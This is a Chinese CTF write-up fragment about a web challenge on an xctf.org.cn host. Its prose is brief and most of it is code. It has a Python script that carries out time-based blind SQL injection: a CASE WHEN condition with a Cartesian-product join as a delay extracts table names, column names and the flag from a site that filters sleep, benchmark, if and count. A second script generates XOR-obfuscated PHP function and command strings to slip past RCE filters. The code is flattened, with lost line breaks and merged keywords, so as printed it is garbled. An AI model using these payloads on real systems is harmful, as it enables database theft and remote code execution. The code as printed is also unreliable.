这里的话先是fuzz了一下 发现sleep benchmark rpad if count 都过滤了
然后在页面尝试测试了一下 猜测是个sql盲注
(所以就猜测是用笛卡尔乘积)
这里的话却不能使用这个常规的 (因为count和if都被ban了)
1
selectcount(*) from ((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,7)c) limit 1;
res = '' for i inrange(1, 50): for j inrange(32, 127): try:
burp0_url = "http://web-c456af9c06.challenge.xctf.org.cn/index.php?id=1' and case when ((select ascii(" \ "substr(group_concat(table_name),{},1)) from information_schema.tables where table_schema=database()))={} then (select sum(1) FROM " \ "information_schema.tables A, information_schema.columns B, information_schema.tables C, " \ "information_schema.views D) else 1 end-- -".format(i, j) #Flllag
# burp0_url = "http://web-c456af9c06.challenge.xctf.org.cn/index.php?id=1' and case when ((select ascii(" \ # "substr(group_concat(column_name),{},1)) from information_schema.columns where table_name='Flllag'))={} then (select sum(1) FROM " \ # "information_schema.tables A, information_schema.columns B, information_schema.tables C, " \ # "information_schema.views D) else 1 end-- -".format(i, j) #Flagg # burp0_url = "http://web-c456af9c06.challenge.xctf.org.cn/index.php?id=1' and case when ((select ascii(" \ # "substr(group_concat(Flagg),{},1)) from Flllag))={} then (select sum(1) FROM " \ # "information_schema.tables A, information_schema.columns B, information_schema.tables C, " \ # "information_schema.views D) else 1 end-- -".format(i, j)
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7,en-US;q=0.6", "Connection": "close"} r = requests.get(burp0_url, headers=burp0_headers, timeout=3) # time.sleep(1) # print(j,r.text) except Exception as e: res += chr(j) print(res) break
import requests import urllib from sys import * import os defaction(arg): s1="" s2="" for i in arg: f=open("xor_rce.txt","r") whileTrue: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"^\""+s2+"\")" return(output) whileTrue: param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";" print(param)